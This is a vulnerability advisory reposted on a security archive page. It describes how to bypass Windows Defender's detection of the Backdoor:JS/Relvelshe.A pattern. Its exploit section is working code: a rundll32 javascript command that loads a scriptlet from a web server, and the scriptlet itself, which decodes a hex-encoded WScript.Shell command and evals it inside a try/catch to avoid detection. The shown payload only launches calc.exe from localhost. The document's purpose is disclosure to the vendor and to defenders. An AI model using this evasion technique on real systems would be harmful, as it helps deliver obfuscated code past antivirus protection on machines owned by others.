Home[1] Files[2] News[3] &[SERVICES_TAB] Contact[4] Add New[5]
- Microsoft Windows Defender / Backdoor_JS.Relvelshe.A Detection / Mitigation Bypass[6]
- Authored by hyp3rlinx[7] | Site hyp3rlinx.altervista.org[8]
-
Back in 2022, the researcher released a proof of concept to bypass the Backdoor:JS/Relvelshe.A detection in Windows Defender but it no longer works as it was mitigated. However, adding a simple javascript try catch error statement and eval'ing the hex string, it executes as of the time of this post.
- systems | windows[9]
- SHA-256 |
7ab1d57cbbb29f8168521971a747af06eab9ef184d9f61ee316413db3f71e0c9
- Download[10] | Favorite[11] | View[12]
Change Mirror[13] Download[14]
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: https://hyp3rlinx.altervista.org/advisories/Windows_Defender_Backdoor_JS.Relvelshe.A_Detection_Mitigation_Bypass.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec
[Vendor]
www.microsoft.com
[Product]
Windows Defender
[Vulnerability Type]
Detection Mitigation Bypass
Backdoor:JS/Relvelshe.A
[CVE Reference]
N/A
[Security Issue]
Back in 2022 I released a PoC to bypass the Backdoor:JS/Relvelshe.A detection in defender but it no longer works as was mitigated.
However, adding a simple javascript try catch error statement and eval the hex string it executes as of the time of this post.
[References]
https://twitter.com/hyp3rlinx/status/1480657623947091968
[Exploit/POC]
1) python -m http.server 80
2) Open command prompt as Administrator
3) rundll32 javascript:"\\..\\..\\mshtml\\..\\..\\mshtml,RunHTMLApplication ,RunHTMLApplication ";document.write();GetObject("script"+":"+"http://localhost/yo.tmp")
Create file and host on server, this is contents of the "yo.tmp" file.
<?xml version="1.0"?>
<component>
<script>
try{
<![CDATA[
var hex = "6E657720416374697665584F626A6563742822575363726970742E5368656C6C22292E52756E282263616C632E6578652229";
var str = '';
for (var n = 0; n < hex.length; n += 2) {
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
}
eval(str)
]]>
}catch(e){
eval(str)
}
</script>
</component>
[Network Access]
Local
[Severity]
High
[Disclosure Timeline]
Vendor Notification:
February 18, 2024: Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
File Tags
- ActiveX[20] (933)
- Advisory[21] (84,203)
- Arbitrary[22] (16,544)
- BBS[23] (2,859)
- Bypass[24] (1,812)
- CGI[25] (1,031)
- Code Execution[26] (7,561)
- Conference[27] (687)
- Cracker[28] (844)
- CSRF[29] (3,368)
- DoS[30] (24,314)
- Encryption[31] (2,380)
- Exploit[32] (52,534)
- File Inclusion[33] (4,242)
- File Upload[34] (982)
- Firewall[35] (822)
- Info Disclosure[36] (2,826)
- Intrusion Detection[37] (905)
- Java[38] (3,112)
- JavaScript[39] (887)
- Kernel[40] (6,921)
- Local[41] (14,640)
- Magazine[42] (586)
- Overflow[43] (12,970)
- Perl[44] (1,430)
- PHP[45] (5,170)
- Proof of Concept[46] (2,364)
- Protocol[47] (3,683)
- Python[48] (1,589)
- Remote[49] (31,245)
- Root[50] (3,613)
- Rootkit[51] (519)
- Ruby[52] (616)
- Scanner[53] (1,647)
- Security Tool[54] (7,962)
- Shell[55] (3,228)
- Shellcode[56] (1,216)
- Sniffer[57] (899)
- Spoof[58] (2,236)
- SQL Injection[59] (16,476)
- TCP[60] (2,420)
- Trojan[61] (688)
- UDP[62] (896)
- Virus[63] (668)
- Vulnerability[64] (32,428)
- Web[65] (9,827)
- Whitepaper[66] (3,765)
- x86[67] (966)
- XSS[68] (18,112)
- Other[69]
File Archives
- February 2024[70]
- January 2024[71]
- December 2023[72]
- November 2023[73]
- October 2023[74]
- September 2023[75]
- August 2023[76]
- July 2023[77]
- June 2023[78]
- May 2023[79]
- April 2023[80]
- March 2023[81]
- Older[82]
Systems
- AIX[83] (429)
- Apple[84] (2,060)
- BSD[85] (375)
- CentOS[86] (57)
- Cisco[87] (1,926)
- Debian[88] (6,970)
- Fedora[89] (1,693)
- FreeBSD[90] (1,246)
- Gentoo[91] (4,458)
- HPUX[92] (880)
- iOS[93] (369)
- iPhone[94] (108)
- IRIX[95] (220)
- Juniper[96] (69)
- Linux[97] (48,619)
- Mac OS X[98] (691)
- Mandriva[99] (3,105)
- NetBSD[100] (256)
- OpenBSD[101] (487)
- RedHat[102] (15,099)
- Slackware[103] (941)
- Solaris[104] (1,611)
- SUSE[105] (1,444)
- Ubuntu[106] (9,290)
- UNIX[107] (9,371)
- UnixWare[108] (187)
- Windows[109] (6,627)
- Other[110]
- Services
- Security Services[121]
- Hosting By
- Rokasec[122]